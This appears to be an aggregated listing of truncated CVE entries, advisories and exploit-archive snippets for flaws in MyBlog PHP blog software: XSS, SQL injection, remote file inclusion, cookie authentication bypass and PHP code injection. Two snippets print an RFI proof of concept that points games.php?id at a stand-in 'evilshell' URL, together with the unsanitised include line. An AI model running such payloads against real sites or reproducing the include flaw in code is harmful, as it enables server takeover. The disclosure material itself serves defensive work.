CVE-2008-2962

Multiple cross-site scripting XSS vulnerabilities in MyBlog allow remote attackers to inject arbitrary web script or HTML via the 1 s and 2 sort parameters to index.php, and the 3 id parameter to post.php...

CVE-2008-2963

Multiple SQL injection vulnerabilities in MyBlog allow remote attackers to execute arbitrary SQL commands via the 1 view parameter to a index.php, and the 2 id parameter to b member.php and c post.php...

MyBlog: PHP and MySQL Blog/CMS software (SQL/XSS) Vulnerabilities

No description provided by source. ===================================================================================== MyBlog: PHP and MySQL Blog/CMS software SQL/XSS Multiple Remote Vulnerabilities =====================================================================================...

MyBlog: PHP and MySQL Blog/CMS software (SQL/XSS) Vulnerabilities

Exploit for unknown platform in category web applications ================================================================= MyBlog: PHP and MySQL Blog/CMS software SQL/XSS Vulnerabilities =================================================================...

MyBlog: PHP and MySQL Blog/CMS software - SQL Injection / Cross-Site Scripting

===================================================================================== MyBlog: PHP and MySQL Blog/CMS software SQL/XSS Multiple Remote Vulnerabilities ===================================================================================== ,--^----------,--------,-----,-------^--, |...

MyBlog: PHP and MySQL BlogCMS software - SQL Injection Cross-Site Scripting

MyBlog: PHP and MySQL BlogCMS software - SQL Injection Cross-Site Scripting ===================================================================================== MyBlog: PHP and MySQL Blog/CMS software SQL/XSS Multiple Remote Vulnerabilities...

myblog-sql.txt

===================================================================================== MyBlog: PHP and MySQL Blog/CMS software SQL/XSS Multiple Remote Vulnerabilities ===================================================================================== ,--^----------,--------,-----,-------^--, |...

myblogmysql-rfi.txt

================================================================================ | | | | | | | | | | | | | | | ' | | '/ | | || | | |/ \ | | | | | | | | | | | | | | || || | / | | || || |||| ,| |, || | | |/ | | | | / | | | | \ \ / / | | | | '| | | | | | | | | / | || | | | | || || | | | |/...

MyBlog 1.x - SQL Injection Remote File Inclusion

MyBlog 1.x - SQL Injection Remote File Inclusion source: https://www.securityfocus.com/bid/28313/info MyBlog is prone to multiple input-validation vulnerabilities, including: - Multiple SQL-injection vulnerabilities - Multiple remote file-include vulnerabilities - A privilege-escalation...

MyBlog 1.x - SQL Injection / Remote File Inclusion

source: https://www.securityfocus.com/bid/28313/info MyBlog is prone to multiple input-validation vulnerabilities, including: - Multiple SQL-injection vulnerabilities - Multiple remote file-include vulnerabilities - A privilege-escalation vulnerability An attacker may exploit these issues to...

MyBlog Games.PHP ID远程文件包含漏洞

BUGTRAQ ID: 26987 CNCAN ID:CNCAN-2007122409 MyBlog是一款基于PHP的WEB应用程序。 MyBlog不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Games.PHP'脚本对用户提交的WEB参数缺少过滤，提交远程服务器上的任意文件作为包含对象，可导致以WEB权限执行任意PHP代码。 MyBlog MyBlog 1.6 MyBlog MyBlog 1.5 MyBlog MyBlog 1.4 MyBlog MyBlog 1.3 MyBlog MyBlog 1.2 MyBlog MyBlog 1...

myblogcms-rfi.txt

MyBlog CMS RFI Aurthor: Beenu Arora mail: [email protected] Application:MyBlog: PHP and MySQL Blog/CMS software RFI 1.http://localhost/games.php?id=http://evilshell vulnerablity: include$GET'id' . ".php"; greetz : d3, baltazar , Zugzwang , Fuzion , Vivek Site: www.darkc0de.com -- Beenu Arora...

My Blog Rfi

MyBlog CMS RFI Aurthor: Beenu Arora mail: [email protected] Application:MyBlog: PHP and MySQL Blog/CMS software RFI 1.http://localhost/games.php?id=http://evilshell vulnerablity: include$GET'id' . ".php"; greetz : d3, baltazar , Zugzwang , Fuzion , Vivek Site: www.darkc0de.com...

MyBlog 1.x - Games.php?ID Remote File Inclusion

MyBlog 1.x - Games.php?ID Remote File Inclusion source: https://www.securityfocus.com/bid/26987/info MyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and t...

MyBlog 1.x - 'Games.php?ID' Remote File Inclusion

source: https://www.securityfocus.com/bid/26987/info MyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also...

MyBlog (MyCMS) Remote PHP Code execution / PHP Code injection ..

Hello,, MyBlog MyCMS Remote PHP Code execution / PHP Code injection .. http://sourceforge.net/projects/myblog/ Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Exploit : - !/usr/bin/php -q -d shortopentag=on ? / / MyCMS Comman...

Authentication flaw

MyBlog 0.9.8 and earlier allows remote attackers to bypass authentication requirements via the admin cookie parameter to certain admin files, as demonstrated by admin/settings.php...

CVE-2007-2081

MyBlog 0.9.8 and earlier allows remote attackers to bypass authentication requirements via the admin cookie parameter to certain admin files, as demonstrated by admin/settings.php...

CVE-2007-2082

Direct static code injection vulnerability in admin/settings.php in MyBlog 0.9.8 and earlier allows remote authenticated admin users to inject arbitrary PHP code via the content parameter, which can be executed by accessing index.php. NOTE: a separate vulnerability could be leveraged to make this...

CVE-2007-2082

CVE-2007-2082 describes a direct static code injection vulnerability in admin/settings.php for MyBlog 0.9.8 and earlier. The issue allows remote authenticated admin users to inject arbitrary PHP code via the content parameter, which can be executed by accessing index.php. A separate vulnerability...